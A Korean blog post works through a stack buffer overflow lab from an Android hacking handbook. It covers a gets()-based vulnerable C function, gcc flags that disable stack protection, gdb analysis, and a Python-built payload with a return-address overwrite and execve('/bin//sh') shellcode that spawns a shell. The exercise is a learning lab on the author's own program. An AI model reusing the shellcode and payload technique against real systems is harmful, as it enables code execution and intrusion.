2017년 1월 16일 월요일

Bof(Buffer Overflow)

Bof(Buffer Overflow)

Android hackers handbook 보다가..쭉~ 길게 쓰니 정리가 잘 안되서 부분부분 나눠서 포스팅을 진행하려고 한다. ㅎㅎ

우선 오늘 정리할 내용은 버퍼오버플로우 일명 BOF에 대해 정리하려고 한다. Android는 ARM 아키텍처를 기반으로 하기 때문에 다음 예시는 ARM 환경에서(본인은 kali에서 진행) BOF를 실습하고자 한다. 우선 내가 보고 있는 Hakers handbook에서는 아래와 같은 예제 코드와 함께 BOF를 설명하고 있다.

void getname() {
      struct {
          char name[32];
          int age;
} info;

info.age = 23;
printf("Please enter your name: ");
gets(info.name);
printf("Hello %s, I guess you are %u years old?!\n", info.name,
    info.age);
}

코드를 설명하면, 우선 getname 함수내에 구조체를 가지고 있으며, 그 구조체의 이름은 info로 정의한 것을 확인할 수 있다. 다음 info의 age값으로 23을 넣어주고 name을 gets 함수를 사용해 입력 받는다.

컴파일 하기 전에 gcc로 일반적인 컴파일을 진행하게 되면 스택에 보호기법이나 메모리에서 실행할 수 있는 실행권한을 주지 않기 때문에 아래와 같은 옵션을 사용해 컴파일을 진행해야 한다.

-fno-stack-protector: 스택 보호 기법 해제
-mpreferred-stack-boundary=2: 스택 더미 없애기
-z execstack: 스택 메모리에 실행권한 부여

root@kali:~/Desktop/Android_Handbook/ch8# gcc -fno-stack-protector -mpreferred-stack-boundary=2 -z execstack -o sof sof.c 

컴파일이 정상적으로 끝났다면, 우선 A를 무식하게 넣어보자. (넣고 보니까 116개의 A를 넣어주었다.)

Please enter your name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Hello AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA, I guess you are 1094795585 years old?!
[1]    26635 segmentation fault  ./sof

뭐가 문제 인걸까? 우선 age를 출력된 값이 문제가 된다. 위에 age의 값은 1094795585인 것을 확인할 수 잇으며, 해당 값을 16진수로 바꾸면 0x41414141인것을 확인할 수 있다. +_+ 좋아 그런 이제 gdb를 켜고 분석해보자.

(gdb로 뭘 분석하나 싶거나, 어렵다고 생각하더라도 내가 하는걸 따라하게 되면 분명 나중엔 gdb에 고수가 될것이다! 나도 그렇게 믿고 맨날 검색하면서 사용하는 중..

우선 gdb에 attach 시켜서 실행하면 다음과 같다.

➜  ch8 gdb -q sof
Reading symbols from sof...(no debugging symbols found)...done.
(gdb) set disassembly-flavor intel
(gdb) disas getname
Dump of assembler code for function getname:
   0x0804841b <+0>:     push   ebp
   0x0804841c <+1>:     mov    ebp,esp
   0x0804841e <+3>:     sub    esp,0x24
   0x08048421 <+6>:     mov    DWORD PTR [ebp-0x4],0x17
   0x08048428 <+13>:    push   0x80484f0
   0x0804842d <+18>:    call   0x80482e0 <printf@plt>
   0x08048432 <+23>:    add    esp,0x4
   0x08048435 <+26>:    lea    eax,[ebp-0x24]
   0x08048438 <+29>:    push   eax
   0x08048439 <+30>:    call   0x80482f0 <gets@plt>
   0x0804843e <+35>:    add    esp,0x4
   0x08048441 <+38>:    mov    eax,DWORD PTR [ebp-0x4]
   0x08048444 <+41>:    push   eax
   0x08048445 <+42>:    lea    eax,[ebp-0x24]
   0x08048448 <+45>:    push   eax
   0x08048449 <+46>:    push   0x804850c
   0x0804844e <+51>:    call   0x80482e0 <printf@plt>
   0x08048453 <+56>:    add    esp,0xc
   0x08048456 <+59>:    nop
   0x08048457 <+60>:    leave  
   0x08048458 <+61>:    ret    
End of assembler dump.

여기서 set disassembly-flavor intel은 disassembly된 언어를 intel 계열로 보여주게 된다. 다음 getname을 disassembly하기 위해 disas getname을 사용하여 어셈블리한 과정이다.

보통 스택 구조는 아래와 같은 구조를 가지게 되며, 위 코드구조를 예로 작성하면 다음과 같다.

Buffer / name[32] STF [4] Return Address [4]

우리가 원하는 공격코드를 생각하면 다음과 같이 그릴 수 있다.

Buffer / name[32] STF [4] Return Address [4] nop sleb shell code

음..여기서 return address가 nop sleb에 빠지게 되면 쭉~~~~nop을 진행하다가 shell code를 만나게 되면서! 뿅! 하게 되는 것이다!

쉘코드는 전에 간단히 쓴적 있으니 아래와 같은 코드를 사용하도록 하겠다.

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80

좋아.. 그럼 이제 분석을 다시 하나하나 진행해 볼까? 우선 overflow가 발생하는 함수는 gets 함수이기 때문에 해당 함수((gdb) b *0x08048439)에 브레이크를 걸어 분석을 run을 한다. run을 하고 레지스트리를 확인하면 다음과 같다.

(gdb) info r
eax            0xbffff5bc   -1073744452
ecx            0x804a020    134520864
edx            0xb7fb4870   -1208268688
ebx            0x0  0
esp            0xbffff5b8   0xbffff5b8
ebp            0xbffff5e0   0xbffff5e0
esi            0xb7fb3000   -1208274944
edi            0xb7fb3000   -1208274944
eip            0x8048439    0x8048439 <getname+30>
eflags         0x282    [ SF IF ]
cs             0x73 115
ss             0x7b 123
ds             0x7b 123
es             0x7b 123
fs             0x0  0
gs             0x33 51

음.. -_-a 브레이크를 잘못잡았나 일단은 ("A"*32+"B"*4+"C"*4+"D"*20)로 입력을 진행하고 분석을 해보자.

Please enter your name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCCDDDDDDDDDDDDDDDDDDDD

Breakpoint 2, 0x0804843e in getname ()
(gdb) x/80wx $esp
0xbffff568: 0xbffff56c  0x41414141  0x41414141  0x41414141
0xbffff578: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffff588: 0x41414141  0x42424242  0x43434343  0x44444444
0xbffff598: 0x44444444  0x44444444  0x44444444  0x44444444
0xbffff5a8: 0xbffff600  0x00000000  0x00000000  0x00000000
0xbffff5b8: 0xb7fb3000  0xb7fffc04  0xb7fff000  0x00000000
0xbffff5c8: 0xb7fb3000  0xb7fb3000  0x00000000  0xf789e8c8

오호! 그럼 이제 얼추 구조가 그려진다.

0x41 버퍼 32 0x42: EBP 4 0x43: ret 4

그럼 이제 아래와 같이 코드를 작성해서 입력 값을 넣어주면!

0xbffff604 <— ret를 여기로 해줌 이당시에 다시 확인하니까 위치가 바껴있었음 ㅠ,ㅠ

(gdb) r <<< $(python -c 'print "A"*40+"\x04\xf6\xff\xbf"+"B"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /root/Desktop/Android_Handbook/ch8/sof <<< $(python -c 'print "A"*40+"\x04\xf6\xff\xbf"+"B"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"')

Breakpoint 1, 0x08048439 in getname ()
(gdb) c
Continuing.
Please enter your name: Hello AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA???BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB1?Ph//shh/bin??PS?ᙰ
                                        ̀, I guess you are 1094795585 years old?!
process 29005 is executing new program: /bin/dash
Warning:
Cannot insert breakpoint 1.
Cannot access memory at address 0x8048439

/bin/dash가 실행중이여서 안된다는거 같은데? 쉘코드가 이상한건가 부다! 일단 이거 말고 힙 공부하고 싶어서 시작한거니까 여기까지 하고, ! 다음번엔 힙 정리해야딩

댓글 없음:

댓글 쓰기